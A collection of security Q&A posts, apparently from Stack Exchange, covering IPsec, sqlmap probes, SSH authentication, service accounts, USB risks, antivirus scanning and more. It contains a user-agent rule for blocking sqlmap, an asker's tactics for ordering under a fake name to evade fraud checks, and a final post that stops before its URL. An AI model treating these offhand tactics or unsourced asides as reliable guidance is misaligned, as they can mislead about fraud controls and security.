what is a security association and how does it relate to ipsec? I am learning IPSec. My class notes define a security association as a one way relationship between sender and receiver that (1) affords security for traffic flow and (2) is identified by the destination address in the IP header, the SPI and the enclosed extension header (AH or ESP). Wikipedia describes SA as a "logical group of security parameters that enable the sharing of information to another entity." After reading the wikipedia article, I imagine SAs as a set of security parameters.

What is a security association within the context of IPSEC?

"Security Association" is the big name for whatever a machine A needs to know in order to send IPSec-protected packets to a machine B. Within the memory of A is the information: "with B, packets must use this type of IPSec header (AH or ESP) with these cryptographic algorithms and that specific key". By definition, when machine A talks to machine B and uses IPSec for such communication, then there must be some convention between A and B about how this will be done. "Security Association" is the defined terminology to describe that convention. How a security association is established is another matter -- it can be manual configuration by sysadmins on both machines, or done dynamically with a protocol such as ISAKMP.


someone trying to SQLi server using sqlmap Someone is trying to SQLi my domain using sqlmap. I'm getting a lot of errors from mysql.

My server access log shows:

     - -  HTTP/1.1" 200 10559 "-" "sqlmap/1.0.4.0#dev (http://sqlmap.org)"

I have tried blocking the IP but the IP keeps changing. How to block sqlmap from server?

You can do an agent check, which will stop those who are dumb enough not to change the agent - block any request with an agent string that includes 'sqlmap'

However, I will note that if you are actually getting SQL errors, that is a sign that you may be vulnerable to SQL Injection.  If you are properly using parameterized queries / DAOs / PDOs, you should not get a SQL error.  An attacker should never be able to get your SQL to error - if they can, they may be able to change its execution.


Drivers license required for online purchases Problem

I tried to buy a few things from a particular industry, and the sellers are independently all asking for a copy of my drivers license to verify that it matches the details on the card because someone is telling them they need to do that.  No secure portal, just some vague promises that it's for "verification", and they want me to send it via email.  They say I am tripping their fraud protection software, or that their insurance company needs it, and that all the details need to match the ID.  I am unfamiliar with this, and I have not had to do it in other transactions.

Rambling backstory

I've recently tried to place some pseudo-anonymous orders on the internet.  I've done it before, and things went well.  Use a VPN, use a prepaid gift card, make up a fake name, but use my real address.  They made money, and I got stuff. Wins all around!  Shipped directly to my door because it wasn't illegal or even shady.  I live in a free state in the USA, and I'm currently trying to buy some legal parts for some legal things that I own.  I stress the legal aspect because this is important, but leave the details out so people don't get sucked into a rabbit hole.

I prefer to keep things as anonymous as possible for a few reasons.

Protect my identity.
Limit exposure for the next data breech (you can't share what you don't know).
Don't want to be in a database, tracked, profiled, etc.

I was able to get some details about what flagged their system, including a specific company (SignifyD) in the mix, and I'm quite surprised at why they balk (It wasn't the gift card).  Given the political attention given to this industry, and that Mastercard, Paypal, and Stripe have decided to jump on the moral bandwagon, I think the industry is being forced to comply with onerous rules that only provide security theater, for sociopolitical reasons, not technical reasons.

Details that seem to trip "the system"

IP address used to place the order is a known VPN endpoint
Distance between VPN endpoint and ship-to location is very large
SignifyD does not recognize the email address across their network/database or email addresses

Questions

From what I can tell online, neither a MasterCard or Visa merchant should be able to decline a transaction because someone refused to give them ID.  The articles I found that were old, but the VISA cardholder agreement still says that.  However, it also says in a face to face transaction.  I'm not that familiar with their rules though.

Can merchants require a copy of a photo ID?
What regulations and protections are in place so the consumer doesn't get their details leaked/hacked when nontechnical people are getting a copy of confidential docs?
Can an online merchant decline to process an order if you refuse to send you ID in plaintext to them, so that they can in turn send the details to a (usually unnamed) 3rd party for air quote "verification"?

Similarities / Not-duplicates

This question is very similar, but different enough that I feel it warrants a different question.  Especially given that FROE (OP) seemed to be using their government name and details, whereas I am purposefully trying to obfuscate mine.

This question raises some of the privacy concerns to submitting your ID online, so I won't touch on them here.

Surprisingly, I didn't find many people complaining about this, but I did find this one:

http s://forums.macrumors.com/threads/lacie-online-purchase-requires-photo-id.1646763/

I'll start with the TLDR; version of the answers to your explicit questions, and then give some breakdown beyond that.

A merchant may set any requirement they wish upon a transaction (as long as it doesn't violate some other law).  They can ask for gov't issued photo ID, they can ask specifically for a RealID or Passport, they can even ask for a blood sample (gross, but allowable).  Of course, you can also set a requirement for working with a merchant (just say no and go else where), so their demands should have some balance to them.
Now, here is the trick.  Even if the credit card company isn't requiring it, the data they are asking for it Personally Identifiable Information (PII) and will be handled by a merchant that is doing credit card transactions.  The credit card industry requires that all this information be protected as part of PCI/DSS (Payment Card Industry Data Security Standards) even if it wasn't collected for card processing.  So once they have your license (PII) they have to protect it the same way they do credit card numbers and billing address.
See #1 -- a merchant can set any requirements they wish upon a transaction.

You can stop here and be ok, but I like more detail in my answers.  So, now, for the more interesting tidbits.

First, on the security side.  As someone who has worked quite a bit with online card acceptance I'll have to ask you to take my word for it: the detection system "trip points" you describe are all very valid and things I'd use in my own acceptance criteria.  Knowing that a purchase is coming from a known VPN (anonomizer) endpoint is a big red flag; sure it could be someone just wanting privacy, but it could also be a hacker using the data they just stole from that next data breach.  Followed up with the IP of the endpoint is physically distant from the shipping address (another common fraud indicator) and it looks just the same as someone stealing credit cards and drop-shipping goods to a pickup point.  It isn't, it's just you; but the pattern the automated detection system sees doesn't know the difference, or you -- hence point 3.  Having your email in their system means they've verified you before, they know that this is how you shop, and they are willing to accept that fact.  You didn't fail because you weren't a known account, it was just that they couldn't give you the "yeah, I already know this guy" exception.

Now, on to the questions on the purchase itself.  A transaction of purchase is a negotiated deal between two parties, the seller (merchant/store/whatever) and the buyer (you).  To complete a transaction either you both have to agree to each other's terms, or one (or both) of you will need to modify expectations/terms to make the overall deal an agreeable one.  As I mentioned above, a merchant may require a copy of my passport before they sell me something.  That's fine.  But I still have the option of saying "nope, I'll go over to Brownell's and just pay the extra $80 to not have to show that."  Either of you can negotiate the terms of the deal, it is only a purchase when both sides agree and fulfill those terms.

Again, terms within the bounds of the law.  Neither party may make any agreement term that directly contradicts the established edict of law: for example the merchant cannot make terms that discriminate based upon protected status (ie: the deal is no good if you are of a specific ethnicity

But this is a continuation for the merchant, they could literally be stuck in the middle.  To examine that let's play a bit of make believe.

So, let's imagine that your local mom & pop toy store (Johnny Doe's) has been running in the same place for a few generations.  They've got near-zero overhead, the building and land are paid for & they buy their stock up front; which in turn means that I can go shopping for something from my favorite Austrian or Belgian toy makers for about 18% less than I can get it anywhere else.  I like shopping at JD's, it saves me a lot of money.  And, about 12 years back they started taking "plastic" for payments, which means I don't have to go to the bank before buying one of the bigger toys...

Now, a couple of months ago JD's credit card processor (not Visa or MasterCard, not even the Merchant Bank that JD's uses, but the middle-man that handles the electronic connections of the credit/debit card scanner) decided that they didn't much like the kind of toys that JD's sold.  The processor upped their fees for verifying card transactions from 2% to 6% to try and "discourage" the use of their service at JD's.  Because of their contract, they can't dump JD's as a client, but they can change rates and requirements at will (and JD's signed up for that when they agreed to the contract).  To keep their margins the same, JD's adjusted the price of the toys by adding a fee "for the convenience of using card payments" (or, to stay within the terms of the agreements with Visa/Master/etc, they actually upped all their prices and give discounts for cash customers).  That's fine, in fact I'd expect it and I happily paid the higher rate because JD's whole shop was still cheaper than anyone else.  The card processing company modified the terms of the agreement with JD, who in turn modified the terms they put onto any sale (everyone raised their prices).

But this can very easily continue.  The card processor can now say "because we deem this class of product to posses a health and safety concern, we require that all transactions have additional supporting documentation to help verify that at-risk groups are not making the purchases" (aka: we need a photo ID for proof of age -- or address).  This is the same thing that most stores do with superglue and spray paint, "oh, you want to buy this, first let me see your ID to prove you're old enough to be responsible with it."  As a society we've grown accustomed to that and accept it; but you could just as easily tell the WalMart cashier "you know what I don't have it on me, just keep it and I'll go over to Ace where they make silly requirements."  That is, you can decline the terms and not make the purchase.

In the case of JD's toy store, they were stuck in the middle.  The card processor required something of them, and JD's didn't have enough leverage to negotiate a better deal (they're a small mom & pop, they have good volume for what they do, but not enough to change the mind of a company that keeps McDonald's and Target sized clients).  So when I try to negotiate a better deal JD's is stuck, they can either eat the expense (and watch profitability disappear, the most likely desire of the card processor) or they can pivot the deal (we can't lower the price, but we can give you a discount for cash).  In the end, old man JD himself still makes sure to keep a couple of boxes of consumables for my favorite Belgian toy on the shelf and I visit his shop regularly...


Can you start a shell with a service account in Windows? In windows, there are service accounts like HOSTNAME\IUSR which are able to run certain processes (IIS in this case). Are these accounts vulnerable to being broken into and starting a remote shell (for instance)?

What is different from these accounts than your average user account? Can you login as a service account? Do you have to be able to login to create a shell?

Yes you can start a shell with a service account . Can they login all depends on what permissions and checkboxes the admin selected when he created the account so yes again it could've be possible  . In many cases I've seen service accounts poorly setup and granted extremely high amount of privileges such as Remote Desktop or local admin or domain admin thus they are highly coveted by attackers so the attacker can laterally move across your network . So protect services accounts by limiting their access and giving them crazy long secure passwords.


SSH: Security of Pubkey Authentication vs Password Why is Pubkey Authentication considered more secure than a password, and does this apply to my situation (described in more detail below)?

I'm a scientist (no formal IT training), but I built and administer the small network for my research group. I'm not concerned with hardware key loggers being attached to our network. We don't do anything anyone would want to steal and probably anyone who gets physical access to our machines would know that. I'm mostly only concerned about remote attacks from those who don't know we have little worth stealing.

For sure the pubkey is very long, so a brute force attack is nearly impossible, but, with a long password with strength enforcement (12+ chars, requiring all classes), isn't the likelihood of a brute force attack succeeding already sufficiently remote?

With regard to key loggers potentially getting installed on a users remote machine, why is that a greater danger than the pubkey being lifted off of their hard drive? It seems to me (perhaps naïvely) that if the users machine has malicious software installed on it, it would be easier for the software to lift that key (it is stored in a predictable place) than for the stream of keys logged to be deciphered for the password and to know what that password belongs too.

Another thing I've heard mentioned are concerns about a compromised server stealing the users password. If one of our servers has been compromised, I've already lost. The servers are what I am trying to protect.

Thanks!

Security is not an absolute, a property possessed and evaluated in a vacuum.  Rather, when you ask am I secure? the first response is against what threat model.  You write:

  I'm mostly only concerned about remote attacks from those who don't
  know we have little worth stealing.

Fair enough, that's a good clarification.  In that context, let's examine your other questions.

  For sure the pubkey is very long, so a brute force attack is nearly
  impossible, but, with a long password with strength enforcement (12+
  chars, requiring all classes), isn't the likelihood of a brute force
  attack succeeding already sufficiently remote?

You skate over the question of how you compel such complex passwords; there are a number of ways to change the password on a modern UNIX system, and you've assumed you can intercept all of them.  One failure, one weak password, and your system is penetrated.  But the main reason to prefer passwords in this context is that we see a large number of automated password guessers on the internet today.  I am not aware of any attacks that currently try random private keys, and (barring further discoveries of systematic weak key generation) I don't expect to see any.  Using keypairs moves you away from the attackers, and thus the attacks; there are bandwidth and CPU gains from this, as well as security ones.

  With regard to key loggers potentially getting installed on a users
  remote machine, why is that a greater danger than the pubkey being
  lifted off of their hard drive?

To me, the issue with key loggers relates mostly to third-party machines, eg those in cybercafes.  With password authentication, any user can log in from any machine, and some will; sooner or later, they will do this from a machine which is not trustworthy.  It is possible to do this with public keys also, but to do so requires some skill, which is often accompanied by an improved risk awareness.  Moreover, we see keyloggers in the wild; I don't think we've yet seen much malware that looks for keypairs on temporary local storage, then watches the network stream to see the remote endpoint(s) against which the keypair is used.

  Another thing I've heard mentioned are concerns about a compromised
  server stealing the users password.

None of this is happening in isolation.  Password theft is useful to attackers because people often use the same password elsewhere.  If your users really are required to have a 12-character password with strong requirements on choice, it is likely that at least some of them regard this as their "super sekrit" password, suitable for all the systems they're on that need a very strong one; your security is now only as strong as the worst-maintained system which is in that pool for all your users, and I for one am not wildly to keen to trust everyone else (which is why my own servers require keypair or hardware token + password for remote logins).

There are other secondary issues, eg keypairs being used in a transitive agent model, where logins from one remote system to another can be handled without sending private material "down the wire" to either, but hopefully the above analysis gives you some food for thought.


Is it possible to trace fellow nodes on a DSL internet connection? I'm not in my college campus right now. In campus we had private LAN. There my computer was directly connected to a gateway. Using subnet masks I used to find out fellow nodes on my subnet. There were tens of such subnets and we used to access internet using a proxy server, it made requests on our behalf and fetched data for us. It was a 100Mbps lan so, we got speed = 12.5MBps connection speed. Things were pretty clear.

Now, I'm at home and for the first time I'm using DSL internet connection. I don't understand how this thing works? There is something called PPPoE server and my computer being called PPPoE client. If that server is acting like a proxy, how come my IP is being shown in "what is my ip?". What about my fellow nodes? Can I trace them (I mean, find their ips). Also it shows connection speed is 100Mbps. But my plan with the provider is 256Kbps. I'm not getting speed more than 356kbps but what is this 100Mbps now? When I make a request what exactly is happening ? How is this thing working and how can get a network map of this network I'm in?

EDIT:

According to the answers, the 100Mbps is the connection speed between my PC and my modem. Well, yes it is! But there are two connection icons in my system tray. And both showed 100Mbps speed. But today, something interesting happened. The other speed changed from 100Mbps to 10Mbps:

How did this happen? What exactly is this 10Mbps.

[What follows is one possible organization of your ISPs internal network. From my experience (~5 years ago), it is/was relatively common at small/medium US ISPs.]

Your computer talks ethernet to your DSL modem.

The modem is connected to a DSLAM (DSL Access Multiplexer). The DSLAM forwards your traffic (possibly through one or more routers) to a BRAS (Broadband Remote Access Server) that acts as the PPPoE server.

Your DSL modem runs a PPPoE client. PPPoE is "Point to Point Protocol over Ethernet". So your modem is talking PPPoE on the network side (as opposed to ATM, etc). The PPPoE is carried to the BRAS, where it is stripped of PPP and the IP is handed off to another router heading toward the Internet.

Here's a quick sketch:

The PPPoE server assigns an IP address to your modem. It is not a "proxy" in the sense that it is a web proxy. All it is really doing is wrapping the IP packets from the internet and sending PPPoE to your modem. (And the reverse for outbound traffic.)

With PPPoE, all traffic is forced out to the BRAS -- you don't have any "fellow nodes", there is no "LAN", you're basically on your own subnet. Sniffing will not do you any good -- there's no traffic for other nodes coming into your modem from the BRAS.

You can't get a network map because your traffic is encapsulated (as PPPoE) as it travels over the various internal nodes of the ISPs network. You might be able to enumerate other nodes that share your IP address block, but finding a "nearby" address doesn't mean that user is close geographically or network-wise. And, since your traffic will be going through the BRAS and possibly the router, your scan could land in the logs and prompt some uncomfortable questions from a network admin.

(Even if your ISP wasn't using PPPoE, it is likely that all of the traffic from your modem would be forced up to a router ("MAC Forced Forwarding"). This makes it easier for the ISP to enforce policies, including CALEA compliance and separation of subscribers from one another.)


Are USB thumb drives inherently more dangerous than other removable media? Why? The general consensus I hear among security professionals is that USB drives are dangerous. In most organizations (that I have worked at), USB drives are either forbidden or employees are required to get official corporate drives that only work on corporate devices. I don't hear these same concerns over, say, SD cards or CD/DVD-RW.

Are USB drives inherently more dangerous? Do they open up attack vectors that are not possible with other forms of removable media? What are the technical reasons for this?

There is at least one specific risk of USB drives which doesn't apply to SD cards, CDs and the like. An SD card, a CD, etc. are unmistakably storage devices. In order to cause harm, the user has to not only insert the storage device into the computer but also open a file on it in a vulnerable way (run an executable, open a document in a vulnerable application).

In constrast, what looks externally like a USB drive could be any USB peripheral. It could be a wifi dongle, a keyboard/keylogger, a USB-to-Firewire converter (which may allow arbitrary device-initiated direct memory access, … Even if the device appears to be a storage device, it could contain a hub connecting both a legitimate storage device and a malicious device.

So if an employee picks up a USB drive somewhere (in the parking lot, or even in a store) and plugs it in, there is immediate risk. If an employee picks up a CD somewhere and inserts it in, there is another line of defense (if imperfect).


Security / logging on a Xen-based VPS instance? Our company has a Xen-based instance on a VPS provider and we have some sensitive data stored on it.  Is there a way for me to tell if/when employees of the hosting company have accessed my VPS (by xen consoling into it, for instance?)

Xen allows for transparent copying of a live machine (with Remus). The guest system ("domU" in Xen terminology) needs not be aware of this process. Consequently, if the VPS provider employees are intent on having a look at your machine without being detected, well, they technically can: they "just" have to make a live copy. This is inherent to the concept of virtual machines.


Google Location Accuracy datafeed Since Android 9, there is an option in your location preferences which is called
Location Accuracy.

I know how Google determines my location over wifi and now I wonder if Location Accuracy has also the purpose of feeding new locations of accesspoints to Google.

Is this correct?
If yes, has anybody an official statement to that?

If no, how does Google refresh their location-data of APs(, besides wardriving)?

I wonder if Location Accuracy has also the purpose of feeding new
  locations of accesspoints to Google.

Yes,When you select the option to pin point you they use a wide variety of things.When it does do they also send data to better those services.Google initially started mapping wifi points using cars.

  This summer it was revealed that Google Street View cars, besides
  taking photos of your neighborhood, were also collecting the street
  addresses, Wi-Fi service set identifier (SSID), and the unique Media
  Access Control (MAC) identification information for computers, Wi-Fi
  access points (AP)s, and routers

As for using your data to better their geo location services is also true.
Here is the official statement of such

  Most mobile phones are equipped with GPS, which uses signals from
  satellites to determine a device’s location – however, with Google
  Location Services, additional information from nearby Wi-Fi, mobile
  networks, and device sensors can be collected to determine your
  device’s location. It does this by periodically collecting location
  data from your device and using it in an anonymous way to improve
  location accuracy.


Should I send the user ID of the user trying to authenticate in a HTTP header when using access token? Im building a REST api for an ios application!

Would it be a good idea to send the user id (primary autoincrementing token in my mySQL database) of an account when authenticating with user token? (Happens on each get/post)

I thought it might significantly increase performance when checking for authencity of the token? What do you guys think? Does it reduce security? Is this common practice?

I am using HTTPS only of course.

Sharing the internal ID of a user with the user himself is not considered a bad practice, many apps do it. Relying on the secrecy of such an ID is, especially if it is autoincremented. This is called security through obscurity.

  Would it be a good idea to send the user id (primary autoincrementing token in my mySQL database) of an account when authenticating with user token? (Happens on each get/post)

This can work, but be aware of the checks you need to make on the server side.

For identification and authentication

Make sure the user ID exists in your app
Make sure the token is valid
Make sure the token belongs to the user id passed with the request

For authorization

Make sure the user, who is now authentication, has access to the requested resource

  I thought it might significantly increase performance when checking for authencity of the token? What do you guys think? Does it reduce security? Is this common practice?

Depending on what authentication scheme you use, you may need to hit the DB anyway. The performance gain if any depends on your use-case. Generally, I would avoid premature optimization. Build the app, measure your bottleneck and if it ever looks like the authentication, authorization needs speeding up, that's when you start thinking.

For your use-case, I would probably go with JWT tokens, where you can encode the user id inside the token. This will take care of the identification and authentication part: as only you can issue such tokens, and the token content cannot be tampered with. Beware, JWT has some limitations when dealing with session management and you still need to deal with authorization!

For alternative authentication methods take a look at the Web Authentication Guide I compiled a while ago.


How can I authenticate the certifcate of a Private CA while I'm not on that network i.e. offline I want my application to verify that it is being run on a computer with a certificate issued by my Private CA. How can I do this when the computer is not on the network?

You query the certificate store where the private CA's cert would be stored. CA certs are stored in a collection of trusted certificates, often managed by the operating system but optionally separate from it (as Mozilla does) or even specific to a particular application. You'd need to know what store your private CA cert would be installed in, and check to see if it's there. The exact APIs will depend on the platform (OS and possibly runtime) that your app runs in, but an example (for .NET applications) would be https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.x509certificates.x509store?view=netframework-4.8

To verify that the desired cert is present, you probably just want to include its thumbprint (cryptographic hash) in the app; that way, somebody can't extract the expected value out of the app. With that said, I'm not sure what you're actually trying to achieve here. If your goal is just to prevent the app from being run on unknown computers (basically, a simple form of DRM), I have bad news for you: any check you can put in, a knowledgeable hacker can remove by editing the app code using debugging or decompilation tools, and thus run the app with the check either being totally bypassed or having its result spoofed.


How would you reason with and work with the security paranoiac on your team? The question of how to balance pragmatism with an absolutist view of security has been discussed here already. But I need the answer to a concrete variant of that question.

You're the security expert hired to help an application team with the security problems of their app. One of the members of the team takes the "good enough just isn't good enough" approach, and wants to implement the perfect security system. He's already decided that the platform the product will run on is fundamentally insecure, and will repeat this assertion when there's anyone listening (and even when they'd rather not). Any proposed mitigation strategy is not good enough. He's not interested in identifying and reducing risks to the activity supported by the product; he's interested in absolute security. Sneaky ways out of the problem like the fact that the project has a finite budget and finite expected revenue will not fly: it needs to be done completely or it isn't worth doing.

Unfortunately, this person has the ear of the senior management team, so appealing to authority is not going to work. The project has stalled because discussions of the security requirements are just spinning around with no resolution. How would you move things on?

Consider the usual risk management statement:

  Don't spend 1000$ to protect 100$

Now, it might just be a situation that the execs are not aware that what they want will cost 1000$; more likely that they just don't realize that they're only protecting 100$ worth.

If that is the case, you could consider trying to implement methodology that will provide some hard numbers, to replace the vague feeling of uneasiness that can accompany the fear of the big scary word "SECURITY".
If they want to be fiscally responsible, they should try to understand the actual costs, risks, and benefits. I would even try to have that discussion with them without using the word security, which just seems to be confusing and irritating them.

It is also likely that, since they dont understand it, they're worried about doing their due diligence, and/or can be held responsible (either personally or corporately) if anything goes wrong. They need to be shown how to do this effectively, and yet still be "good enough" - not to never be hacked, but to make it a fair tradeoff. Even if they do get hacked, they need plausible proof of having done their diligence, so as not to have their reputation damaged (or other similar fallouts).

I recommend using FAIR , which is a quantitative methodology for putting a price tag on specific risks.
Also see: "How do you compare risks...?"

Either way, this should enable you to change the conversation from the soft, prickly, uneasy feeling of "security", to a hard talk about costs, benefit, and money. Always bring it back to showing them the money.

Worst case, if nothing else works out, put together an expensive, phased, multi-year plan. Have it prioritize the important things, as you see them, and delay to later years the issues that you would have preferred to forgo.
In most orgs, the later stuff will never get done anyway.
And even if it does, this way, you're still getting them to do the right stuff, and they're spending money on the feeling of security - which, sometimes, is important too.

Best part is, since it is in phases, you can build into the plan a re-adjustment step, between phases. Use this as a platform for a full security lifecycle... You can keep re-adjusting the unimportant phases as needed, to squeeze in other important bits.


How come PBEWITHSHA256AND128BITAES-CBC-BC violates the 128 bit key limit? In my Java application (which use StandardPBEStringEncryptor by jasypt), when I use the PBEWITHSHA256AND128BITAES-CBC-BC algorithm instead of something weaker such as PBEWithMD5AndDES, I get an exception saying I need to install Java Cryptography Extension (JCE) Unlimited Strength Jurisdiction Policy Files.

But, as far as I know, AES 128 bit on it's own is always allowed since the export law limit for AES is 128 bit keys (for example if I use it in javax.crypto.Cipher). SHA256 is also allowed on it's own...

Why is password based encryption of kind "SHA256 AND 128 BIT AES-CBC" not allowed? Does that use a longer key than 128 bit? (AES128 should use a 128 bits key by definition, so if the SHA256 makes it use a longer key it... makes no sense.)

If you are using a password longer than 16 bytes (without the JCE Unlimited Strength Jurisdiction Policy files installed), this can cause an InvalidKeyException. For PBE ciphers, the key is derived from the password during cipher.init() but after the key length check is done. That means the raw password is provided to the cipher in place of the key, and the password length exceeds the max key length at the time of the check. I discovered this with further documentation here.


public hotspot: Tor vs Antivirus Safe area? I'm surfing through a public hotspot, I would like to login on my Facebook account with the minimum risk of being intercepted by any cracker connected to the same WiFi. I have both Tor browser and Bitdefender Safepay installed and working and I wonder which one is the best for my purposes.

while connected on a public WiFi, is it safer to use Tor browser or an antivirus Safe zone (Bitdefender Safepay in this case)?

TL;DR: "Tor Browser plus being careful and ready" should be completely equivalent to "Safepay through BitDefender WiFi Premium protection".

In your scenario, both are per se equally secure. The data being sent on the air is encrypted, so connections to HTTPS sites without either Tor or BitDefender, and connections to plain HTTP sites with either of them, are all secure, even if protocol vulnerabilities must be considered (e.g. vulnerable HTTPS on some old web server).

But there is yet another possibility -- that the WiFi access point itself is malicious. In that case it can try and mount a MitM attack and try to take over your "view" of the Tor network, identifying itself as a safe node and running a virtual exit point. This requires significant computing power, but the AP could actually be an Intel Core i7 with a suitable WiFi network card for all you know. Both HTTPS and Tor connections would be vulnerable, even if you should see some sort of Certification Authority warning (unless, of course, the CA is backdoored - this would only be theoretically possible for government-level attackers, though).

In this second scenario, BitDefender would be more reliable (again, unless someone got to BitDefender) because their "WiFi protection" is actually a VPN to BitDefender's servers, and the Safepay browser directly interfaces with them with mutual authentication (this also for billing purposes - WiFi protection isn't free). An attacker might be easily able to impersonate a BitDefender customer to the server, but wouldn't be able to trick Safepay into believing that he possesses a valid BitDefender server certificate unless he does.


How do antiviruses scan for thousands of malware signatures in a short time? Most antiviruses have hundreds of thousands or even millions of malware signatures and yet they scan many files in a reasonable short time with high detection rates. Even real-time scanners doesn't slow computer noticeably but provide strong protection against threats. How can scanners achieve this kind of performance?

I know it could be a broad question but I wanted to get a general idea about this.

Antivirus detection is a feature extraction and a classification problem.

A great analogy is the 20 questions game where the goal is to identify an arbitrary object by asking 20 seemingly unrelated yes/no questions. The idea behind the game is that each answer would eliminate half of the objects so it is theoretically possible to describe 2^20 (1,048,576) objects with only 20 binary features.

A different analogy is how the visual cortex processes visual information. The brain has very simple and fast hardware for detecting and classifying an infinite number of images. Only six layers of neurons (the number of neurons is estimated at 140 million) are used to extract progressively more complex features and pass them on to the next layer. The layers interact back and forward to each other to produce abstract notions that can be verified against memory.

Antivirus engines store many features of known malware in the definition file and when they scan a new file they optimize the extraction and classification (matching) of those features. Storing features also makes the detection more robust so that small changes in a piece of malware won't thwart detection. Feature extraction is also done in parallel so that resources are fully utilized.

Most features are designed by humans but there are some that do not make sense by themselves, like having a null byte at the end of the file or a ratio between file size and printable text size. Those nonsensical or unintuitive features are randomly generated and tested by data mining vast quantities of files. In the end the file is described and classified by the combination of features. As a side note, the best predictor for questions being closed on Stack Exchange is whether the first letter of the question is in lower case.

So when a new file is scanned, it is quickly classified into finer and finer categories and then it is matched against a small set of signatures. Each step would exclude a large number of clean files and would dictate what other features should be extracted next. The first steps are very small in terms of computing resources but they dictate which more expensive steps should be taken later.

By using only a few disk reads and CPU cycles the engine can determine the file type. Let's say it is a JAR file. Using this information, it starts collecting features of the JAR file. If it's signed, then the scan is aborted. If it's not importing any functions then the scan is aborted (I'm oversimplifying here). Is it using any tricky functionality? then more features should be extracted. Does it use known vulnerable functions? Then it should be thoroughly checked for known Java exploit signatures.

On-access scanning has the same principle behind but it also works like a gatekeeper. So each action (usually API call) taken by a process is being checked for and allowed or denied. Similarly, each suspicious action triggers more filters and more checks. During the checks the process or thread is waiting for the operation to complete but sometimes the whole process is actively suspended. This might look like significant overhead but once a specific action is verified, it is later cached and performed very quickly or not performed at all. The result is a performance degradation similar to having a machine a couple of percentage points slower. Check the PCMark scores for 20 AV products here.

So the speed optimization comes from very little work being performed on clean looking files which constitute the overwhelming majority of scanned files. The heavy lifting work is being done only on suspicious malware-looking files for which AV might even take seconds to emulate the process or even send it to the cloud for analysis.

The magic is in the progressive classification.


Best practices for passwords on registration? I have a website which users register an account. On the registration field, the form fields are:

Name
Email
Confirm email
Username

But there is no password field. When they hit submit, they are emailed a password which is very complex, such as LHJVjhwnv%uu5 or RbWM9!jeDZUQb.

I have appealed to my developer to instead make it so that the users can set their own password on the registration form. To confirm that password on the form, and then be sent a confirmation link to their specified email. Then this way they can at least log in to their account and verify their email via confirmation link. Or if they didn't, every time they log into the site it could remind them to verify their email etc or else they can't do much on the site (example). This way even if they don't get the confirmation link, they can still update their account email to a different email and have it resent. At least at this stage, they can log into their account, instead of not at all.

The response I have received from the developer is as follows

  "The problem with providing the password on registration is that
  you'll have loads of fake accounts. So people that just register with
  a non-existent email address. At least with the email validation
  you're proving the user exists, to a certain extent. If they register with the wrong email, they can just re-register."

I'd like to ask you all if the current approach the developer has employed is acceptable?

If not, what are some good reasons I could use to convince the developer to change?"

I've tried to explain the following

Every day there are 9-10 people who register and then directly use the "password reset" form right after. This form involves them putting in their email address that they signed up with, and then it emails them a link to SET a new password. So if they are setting a new password anyway, why not just have them set it in the first place on the registration form? Why would there be 9-10 people every single day using the password reset field, directly after registration? I'm pretty sure its because they are seemingly struggling with these complex passwords (which I am not against) that are being emailed to them and are missing a key or character, or do not seem to be aware of copy/paste or something like that. If they could just set their own password the first time around, they wouldn't need to run to the password reset field right after because of their emailed password not working. I thought it was weird how everyday theres always password reset emails. Not for everyone, but a good 9-10 people a day ever since I started using Mandrillapp to track the outgoing emails. This is backed up by the next point.
Every day there are at least 2-3 people who fill out the contact form indicating that the password they received is not working. Could all be avoided if they just could set it on their own. There may be even more that just don't bother contacting.
Out of nearly 8000 accounts, 50% have never logged in. My strong suspicion is that the Registration email containing their password goes to their junk folder/spam folder. This is despite me having proper SPF, DKIM, etc setup. 2 months ago, I decided to start using Mandrill to send mail to ensure it goes to the inbox, but still there's at least 1-2 people/day that say that they did not get their email.. which perplexes me. If they could define their own password, they wouldn't have to worry about waiting for their password via email, or not getting it entirely. This just further highlights my initial concern.

Thank you for your time!

Your developer is trying to mix three different process into one: password registration, email validation and robot detection. Unfortunately, that makes the whole setup less secure and less resilient than it should be.

Email is clear text and, nowadays, it pretty much guarantee to live forever and be included into several indexes and often kept for a long time in multiple servers along the way. If you sent someone a password via email, you're sure that you're making it very vulnerable. Email is not secure unless you explicitly secure it (S/MIME or PGP).
Email isn't a synchronous process: there is no minimum time for an email to reach his target. In fact, it often can take several minutes for an email to get through the final mail server. This makes the whole process slow and unfriendly to the end user.
Email isn't very reliable: as you've discovered, email can be lost for a variety of reasons without anyone being notified. As such, it makes it a really poor medium for transmitting important, time-critical information like initial connection info.
For robot detection, this process is dreadfully inefficient: there are plenty of disposable email services that can easily be used to work around this process (or catch-all mail domains).

Now, there is no "correct" way of doing this: what will work best will depends a lot on what level of security you need and how you weight it against ease of use: it's not the same to design security for a banking web site than for a cooking receipt repository.

It is, however, important to remember these things when designing the system (and stay consistent, which is, in my opinion, the issue you're having with yours):

What is your target audience. This will let you know how complex for the user you can make the registration process.
What is the value of the registration to your web site for your users. This should tell you how much effort you can expect from them.
What is the value of the registration for you. It should tell you how much effort you should put into verifying the registration detail.
What is the value of the registration for a potentially hostile third party. It should tell you how much effort you should put into making sure the user information is secure.

OWASP has a cheat sheet describing the elements of a secure authentication process. Their guide to authentication is a little light on the subject but it does bring in some good element about how to do it right (or not do it wrong).


Is this Android malware? I am randomly getting redirected to a page that looks very suspicious, especially the URL that sends the base64 encoded payload. It usually happens when I click a news link, usually a local news site. So I thought the news site was possibly compromised. Recently though, it happened when I clicked on an article on msn.com. So now I think may phone my be the problem. It is a Samsung Galaxy S5, fully updated.

I only copied the URL once, so I am not sure if it changes, but here is the one I captured (DON'T GO TO THIS):

